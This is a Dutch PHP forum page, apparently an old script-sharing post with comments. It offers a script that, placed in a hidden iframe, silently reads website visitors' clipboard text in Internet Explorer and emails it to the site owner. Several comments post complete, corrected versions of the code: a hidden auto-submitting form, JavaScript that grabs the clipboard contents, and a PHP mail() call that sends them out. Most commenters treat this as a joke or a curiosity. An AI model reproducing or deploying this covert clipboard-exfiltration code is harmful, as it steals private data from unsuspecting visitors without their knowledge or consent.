Tekst van clipboard halen

Door Joost van Poppel, 23 jaar geleden, 5.309x bekeken

Hoi,

Ooit willen weten van voor tekst bezoekers op hun website hebben?
Met dit eenvoudige script lukt dat. Maak een simpele iframe in een van je pagina´s met als source het GetClipboard script. Makkelijk zat.
In dit voorbeeld wordt de tekst van het clipboard naar een gmail adres gestuurd (2 gieg ruimte, meer dan genoeg!)
Een nadeel: Werkt alleen onder IE en niet in FF.

Voorbeeld: http://www.dutchville.com/test.html

Gesponsorde koppelingen

PHP script bestanden

  1. tekst-van-clipboard-halen

 

Er zijn 14 reacties op 'Tekst van clipboard halen'

PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
PurpleMadness -
PurpleMadness -
23 jaar geleden
 
0 +1 -0 -1
Haha, ziet er grappig uit, straks ff testen ;)
Thijs X
Thijs X
23 jaar geleden
 
0 +1 -0 -1
Lol lijp :D nooit geweten dat dat kon :\ Niet erg veilig :P
Eris -
Eris -
23 jaar geleden
 
0 +1 -0 -1
Helllaas / gelukkig werkt het niet in FF :).
Vdleije .
vdleije .
23 jaar geleden
 
0 +1 -0 -1
GEWELDIG, ALLEEN WERKT HIJ BIJ MIJ NIET :S


23 jaar geleden
 
0 +1 -0 -1
Weer zo'n veiligheidslek van IE. Overigens kan je het in FF wel inschakelen.
Han eev
Han eev
23 jaar geleden
 
0 +1 -0 -1
Bij mij werkt het niet zelfs niet in IE niet,
*denkt: doe ik wat verkeert?*
Thijs X
Thijs X
23 jaar geleden
 
0 +1 -0 -1
@ Joost misgien leuk om ook nog een echo in je voorbeeld te zette om te kunne zien dat het werkt ;)
Joost van Poppel
Joost van Poppel
23 jaar geleden
 
0 +1 -0 -1
@Thijs:
Klopt, er zit geen echo in...
Ik heb de iframe even vergroot en een echootje geplaatst, nu zie je de inhoud van jouw clipboard te staan.
Indien er niets op staat, of het is geen text, dan komt er "NULL" te staan.
Jelte
jelte
23 jaar geleden
 
0 +1 -0 -1
Niet echt veilgi neje maar wel uber vet:P


23 jaar geleden
 
0 +1 -0 -1
je doet hier beetje te veel werk met die echo van de form:S

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset ($_GET['myclipboard']))
{

    $myclipboard = stripslashes ($_POST['myclipboard']);
    $header = 'From: [email protected]' . "\r\n";
    mail ('[email protected]', 'Clipboard Notificatie', $myclipboard, $header);
}

else
{
?>

<form name="hf" method="post" action="getclipboard.php" style="display:none">
<input type="text" name="myclipboard" />
<input type="submit" />
</form>
<script language="JavaScript" type="text/javascript">
document.forms['hf'].elements['myclipboard'].value = clipboardData.getData ('Text');
document.forms['hf'].submit ();
</script>
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
}
?>



ook heb ik meteen je coding wat opgeschoond, wat een baggerzooi zeg:P
Legolas
Legolas
23 jaar geleden
 
0 +1 -0 -1
$_GET? leuk dat je het zo opschoont maar dat gaat niet werken, ej :P
Richard van Velzen
Richard van Velzen
23 jaar geleden
 
0 +1 -0 -1
helaas vulde ik het in terwijl ik niet ingelogd was (ik ben JeXuS), maar die $_GET moet dus $_POST zijn:P:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset ($_POST['myclipboard']))
{

    $myclipboard = stripslashes ($_POST['myclipboard']);
    $header = 'From: [email protected]' . "\r\n";
    mail ('[email protected]', 'Clipboard Notificatie', $myclipboard, $header);
}

else
{
?>

<form name="hf" method="post" action="getclipboard.php" style="display:none">
<input type="text" name="myclipboard" />
<input type="submit" />
</form>
<script language="JavaScript" type="text/javascript">
document.forms['hf'].elements['myclipboard'].value = clipboardData.getData ('Text');
document.forms['hf'].submit ();
</script>
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
}
?>



dit moet het zijn dus;)
Roel -
Roel -
20 jaar geleden
 
0 +1 -0 -1
Lol wel nice XD
PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
Wouter K
Wouter K
20 jaar geleden
 
0 +1 -0 -1
werkt dus nietmeer

Om te reageren heb je een account nodig en je moet ingelogd zijn.

Inhoudsopgave

  1. tekst-van-clipboard-halen

Labels

  • Geen tags toegevoegd.

Navigatie

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.